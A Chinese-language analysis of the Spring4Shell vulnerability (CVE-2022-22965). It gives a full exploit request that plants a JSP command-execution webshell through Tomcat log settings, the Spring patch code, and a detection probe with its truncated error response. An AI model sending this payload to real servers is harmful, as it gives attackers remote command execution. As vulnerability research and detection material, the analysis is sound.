CVE-2022-22965 漏洞分析( 三 )

发送报文
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: 7.223.181.36:38888Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closecmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>就可以利用 shell.jsp?a=cmd 来执行命令了
 
Spring 在获取属性描述符时加强了判断,只留下了 name 属性 。
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {    // Only allow all name variants of Class properties    continue;}if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those    continue;} 
通过错误地设置 classloader 下的属性来触发 BindException异常让服务端返回异常即可判断是否存在漏洞,例如发送
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1Host: 127.0.0.1:39999Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close服务端返回
HTTP/1.1 400 Content-Type: text/html;charset=UTF-8Content-Language: zh-CNContent-Length: 277Date: Fri, 08 Apr 2022 03:49:42 GMTConnection: close<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are se 





推荐阅读